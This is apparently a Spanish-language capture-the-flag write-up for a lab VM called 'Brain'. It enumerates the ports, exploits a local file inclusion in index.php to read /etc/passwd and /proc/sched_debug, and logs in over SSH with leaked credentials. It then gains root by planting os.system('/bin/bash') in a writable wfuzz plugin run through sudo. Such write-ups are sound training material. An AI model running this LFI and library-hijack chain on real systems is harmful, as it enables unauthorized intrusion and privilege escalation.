Enumeramos los puertos de la máquina con nmap. Puertos 22 y 80 abiertos.
❯ sudo nmap -Pn -sS -n -vvv -T5 -p- 192.168.1.64
Scanning 192.168.1.21 [65535 ports]
Discovered open port 22/tcp on 192.168.1.21
Discovered open port 80/tcp on 192.168.1.21
Nmap scan report for 192.168.1.21
Host is up, received arp-response (0.0055s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:B2:3F:57 (VMware)
Enumeramos las versiones de los servicios corriendo en los puertos abiertos con nmap.
❯ sudo nmap -p22,80 -sCV 192.168.1.21
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.1.21
Host is up (0.0068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA)
| 256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA)
|_ 256 58:a6:da:1e:0f:89:42:2b:ba:de:00:fc:71:78:3d:56 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:B2:3F:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al acceder al servicio web nos encontramos con lo que parece ser una salida típica del archivo /proc/sched_debug.
El archivo /proc/sched_debug es un archivo especial en sistemas Linux que proporciona información detallada sobre el planificador de tareas (scheduler) del kernel. Este fichero es útil para la depuración y análisis del rendimiento del sistema, ya que permite a los administradores y desarrolladores obtener información detallada sobre cómo el kernel está programando y gestionando los procesos y las tareas en el sistema.
Realizamos fuzzing de directorios y archivos en busca de mas información. Encontramos el archivo index.php que seguramente esta mostrando el output de la tarea systemd.
❯ gobuster dir -u "http://192.168.1.21" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b 404 -t 100 -x "html,php,txt"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.21
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 361]
Fase de explotación
Lanzaremos un Nikto en busca de algo mas de información pasándole el fichero index.php en la URL a escanear. Nos muestra que el parámetro include es vulnerable a lo que parece ser un LFI.
❯ nikto -h http://192.168.1.21/index.php
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.1.21
+ Target Hostname: 192.168.1.21
+ Target Port: 80
+ Start Time: 2024-04-05 20:15:08 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /index.php/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /index.php/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /index.php/gallery/index.php?include=../../../../../../../../../etc/passwd: Gallery allows files to be read remotely. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0900
+ /index.php/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../../../../etc/passwd: Gallery Addon for PHP-Nuke allows files to be read remotely. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0900
+ 7947 requests: 0 error(s) and 167 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
Otro ejemplo con wfuzz de como fuzzear parámetros que puedan ser vulnerables a LFI. Recordad que con wfuzz es importante configurar el parámetro —hh con valor 361 para ocultar este número de caracteres en la respuesta y evitar respuestas con estado 200 incorrectas.
❯ sudo wfuzz -c -t 200 --hh=361 --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.21/index.php?FUZZ=/etc/passwd"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.21/index.php?FUZZ=/etc/passwd
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001112: 200 33 L 64 W 1750 Ch "include"
Aprovechando el LFI vamos a probar de consultar el fichero /proc/sched_debug de la máquina en busca de mas información porque si nos ha mostrado un pequeño fragmento del output del fichero, es por algo. Encontramos en el listado de las runnable tasks lo que parece ser las credenciales de un usuario llamado ben.
Accedemos por SSH con las credenciales encontradas anteriormente.
ben@brain:~$ ls -l
total 4
-r-------- 1 ben ben 33 abr 19 2023 user.txt
Escalada de privilegios
Listamos los permisos sudo que tiene el usuario ben. Encontramos que tiene ejecución del binario wfuzz como sudo.
ben@brain:~$ sudo -l
Matching Defaults entries for ben on Brain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on Brain:
(root) NOPASSWD: /usr/bin/wfuzz
En este punto buscando información por gtfobins no encontramos nada, así que tocará realizar enumeración en busca de algo que nos pueda ayudar para la elevación de privilegios. Buscando por archivos en el sistema que tengas permisos de escritura relacionados con wfuzz, encontramos un archivo python llamado range.py.
El archivo range.py, es parte de la biblioteca de Python llamada wfuzz. Esta biblioteca es una herramienta de prueba de penetración diseñada para realizar pruebas de seguridad en aplicaciones web mediante ataques de fuerza bruta. La carpeta /usr/lib/python3/dist-packages/ generalmente contiene bibliotecas de Python instaladas a nivel de sistema.
Como tenemos permisos de escritura sobre el archivo, introducimos el siguiente código para spawnear una shell bash. También sería posible ejecutar una reverse shell y enviarla a nuestro equipo, pero en este caso optaremos por la primera opción.
ben@brain:~$ vi /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
ben@brain:~$ head -10 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
from wfuzz.externals.moduleman.plugin import moduleman_plugin
from wfuzz.exception import FuzzExceptPluginBadParams
from wfuzz.plugin_api.base import BasePayload
import os
os.system("/bin/bash")
@moduleman_plugin
class range(BasePayload):
name = "range"
Ejecutamos wfuzz con la opción range y obtenemos la bash del usuario root.
ben@brain:~$ sudo wfuzz -z range,0-10 --hl 97 http://172.0.0.1
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
root@brain:/home/ben#
En la herramienta wfuzz, el parámetro range se utiliza para especificar un rango de valores que se utilizarán en la iteración sobre la palabra clave o el patrón especificado en la búsqueda de posibles puntos de inyección o vulnerabilidades en una aplicación web.
Por ejemplo, si estás realizando una prueba de fuzzing en un campo de entrada de un formulario web que acepta números del 1 al 10, puedes usar el parámetro range para especificar ese rango. Wfuzz entonces probará todos los valores dentro de ese rango para ver si alguno de ellos causa algún comportamiento inesperado o revela una vulnerabilidad en la aplicación.
Encontramos la flag del usuario root.
root@brain:~# ls -l
total 4
-r-------- 1 root root 33 abr 19 2023 root.txt